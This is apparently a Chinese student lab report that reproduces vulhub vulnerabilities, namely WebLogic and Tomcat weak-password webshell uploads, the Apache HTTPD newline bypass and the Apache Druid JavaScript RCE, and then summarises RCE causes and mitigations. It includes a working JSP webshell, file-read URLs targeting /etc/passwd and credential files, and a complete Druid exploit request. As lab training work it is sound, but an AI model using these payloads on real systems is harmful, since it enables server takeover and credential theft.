一、在vps安装docker和docker-compose
安装docker:apt-get install docker.io
安装docker-compose:apt-get install docker-compose
安装成功截图:
二、 上课涉及的vulhub漏洞复现与漏洞原因说明
1、Weblogic 常规渗透测试环境
1.1、在vulhub/weblogic/weak_password目录下输入docker compose up -d启动环境,环境启动后,访问http://your-ip:7001/console,即为weblogic后台。
1.2、 本环境存在弱口令,用户名输入weblogic,口令输入Oracle@123即可访问后台管理界面。由于本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd即可成功读取passwd文件。接下来利用该漏洞来获取密码。
1.3、weblogic密码使用AES(老版本3DES)加密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat
和config.xml
,在本环境中为./security/SerializedSystemIni.dat
和./config/config.xml。因此接下来用burpsuite抓包。访问http://your-ip:7001/hello/file.jsp?path=./security/SerializedSystemIni.dat
用bp抓包 ,将包发送到重放器发送,即可得到带有密文的响应包,选中响应包中那段奇怪的字符,右键选择“copy to file”,将其保存为SerializedSystemIni.dat。
1.4、同样,访问 http://your-ip:7001/hello/file.jsp?path=./config/config.xml,用bp截取后将包发送给重放器在发送出去,从返回的响应包中能找到密钥(<node-manager-password-encrypted>
的值),选中密钥后右键copy to file保存下来。
1.5、启动目录下的weblogic_decrypt.jar,将密文密钥载入后解密,可以看到密码也是Oracle@123。
1.6、 进入后台管理界面后,点击左边的“部署”,然后点击“安装”。
1.7、准备好木马shell脚本,新建文件shell.jsp,在文件中输入以下内容。然后用jar命令将shell.jsp打包为shell.war。
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }%><% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); }%>
1.8、点击“安装”后到上传文件界面,点击“上载文件”将shell.war上传。
1.9、上传成功后一直下一步,最后点保存。
1.10、打开蚁剑连接shell,右键“添加数据”输入URL地址:http://192.168.226.133:7001 /shell/shell.jsp和连接密码:passwd,然后测试连接。
1.11、打开虚拟终端,输入whoami,得到回显。
漏洞原因:
1、弱口令漏洞:管理员为后台设置登录密码时过于简单。
2、前台存在任意文件读取漏洞:由于前端程序没有对用户输入进行充分的验证和过滤而导致的。
2、Tomcat7+ Weak Password && Backend Getshell Vulnerability
2.1、在vulhub/tomcat/tomcat8目录下输入docker compose up -d启动环境,环境启动后,访问http://your-ip:8080.
2.2、点击右边“Manager App”进入登录页面,存在弱口令用户名和密码tomcat;tomcat。输入即可进入后台控制界面。
2.3、在后台管理界面选择shell.war并上传。
2.4、访问http://192.168.226.133:8080/shell/shell.jsp,已经上传成功。
2.5、连接蚁剑,输入URL地址和passwd,测试连接。
2.6、输入ls和whoami命令,得到回显。
漏洞原因:
1、弱口令漏洞:登录密码设置太简单,容易被爆破。
2、后台文件上传漏洞:没有对后台文件上传进行过滤和限制,导致攻击者可以上传webshell获取服务器权限。
3、Apache HTTPD 换行解析漏洞(CVE-2017-15715)
3.1、在vulhub/httpd/CVE-2017-15715目录下输入docker compose build和docker compose up -d启动环境,环境启动后,访问http://your-ip:8080。直接就是非常简洁的文件上传界面,直接上传木马文件1.php提示错误。
3.2、 在vulhub/httpd/CVE-2017-15715目录下输入docker exec -it <containerID> /bin/bash进入容器,输入cat index.php查看页面源代码。
3.3、在bp重放界面,点击Hex,在evil.php前面(0d 0a)加上0a,然后发送,可以看到没有“bad file”提示,说明1.php上传成功。
3.4、访问http://192.168.226.133:8080/evil.php%0A得到phpinfo()信息。
漏洞原因:
换行解析漏洞:Apache在2.4.0-2.4.29版本中存在的一个解析漏洞。程序在解析PHP时,如果文件名最后有一个换行符x0A
,apache依然会将其当成php解析,因此在上传恶意文件时可以成功的绕过黑名单。
4、 Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)
4.1、vps和本机都会炸,因此采用同学搭好的环境进行漏洞复现。访问http://ip:8888/即可进入以下界面。
4.2、点击load data->local disk,然后点击connect data准备上传木马。
4.3、在左边框中任意输入值,在点击“apply”前开始bp抓包。
4.4、截获数据包发送到重放器,将请求包按照以下方式构造,构造完后发送,即得到id命令。
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
漏洞原因:
Apache Druid RCE(远程代码执行漏洞):Apache Druid是一个专为大数据集的快速切片分析(OLAP查询)而设计的实时分析数据库。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中对用户高度信任,未对请求包进行过滤限制,因此经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。
三、总结RCE漏洞的原理和利用条件及解决方案
1、RCE漏洞的原理
RCE(远程代码执行)漏洞是一种安全漏洞,它允许攻击者通过Web端或客户端提交恶意构造的代码或命令,由于服务器端没有对这些输入进行充分的过滤或存在逻辑漏洞,导致这些恶意代码或命令在服务器端执行。
- 接口设计不当:服务器应用在设计时,为了提供某些功能(如文件操作、系统监控等),需要向用户开放远程命令或代码执行的接口。如果这些接口没有对用户输入进行严格的验证和过滤,就可能被攻击者利用。
- 代码执行函数的使用:服务器端代码中使用了能够执行系统命令或外部代码的函数,如
system()
,exec()
,shell_exec()
,eval()
等,并且这些函数的参数没有得到有效控制或过滤,使得攻击者可以通过精心构造的输入来执行任意命令或代码。 - 反射和动态调用:在一些复杂的系统中,通过反射机制或动态调用方式执行代码也可能引入RCE漏洞。如果系统没有对这些机制进行适当的安全控制,攻击者就可能利用这些机制执行恶意代码。
2、RCE漏洞的利用条件
RCE漏洞的利用通常需要满足以下条件:
- 存在可执行的命令或代码接口:服务器应用提供了能够执行系统命令或外部代码的接口。
- 输入可控:攻击者能够控制接口的参数或输入数据。
- 过滤不严或存在逻辑漏洞:服务器端对输入数据的过滤不严或存在逻辑漏洞,使得攻击者能够绕过过滤机制。
3、RCE漏洞的解决方案
针对RCE漏洞,可以采取以下解决方案来降低风险:
- 严格输入验证:对所有外部输入进行严格的验证和过滤,确保输入数据符合预期格式和范围。对于需要执行系统命令或外部代码的接口,应尽量避免使用,或采用更加安全的替代方案。
- 限制执行权限:尽可能降低执行系统命令或外部代码的权限,确保即使存在漏洞,攻击者也无法获得过高的权限。
- 使用安全函数:尽量避免使用
eval()
,system()
,exec()
等能够执行系统命令或外部代码的函数。如果必须使用这些函数,应确保对其参数进行严格的验证和过滤。 - 更新和补丁:及时更新服务器应用和相关组件,以修复已知的安全漏洞。同时,关注行业内的安全动态,及时应用安全补丁。
- 安全配置:合理配置服务器和应用的安全参数,如禁用不必要的服务和端口、设置强密码和访问控制等。
- 代码审计:定期对服务器应用进行代码审计,检查是否存在潜在的安全漏洞。特别是关注那些能够执行系统命令或外部代码的代码段。
- 监控和日志:建立完善的监控和日志系统,及时发现并响应潜在的攻击行为。通过日志分析,可以追溯攻击者的行为轨迹,为后续的应急响应和漏洞修复提供依据。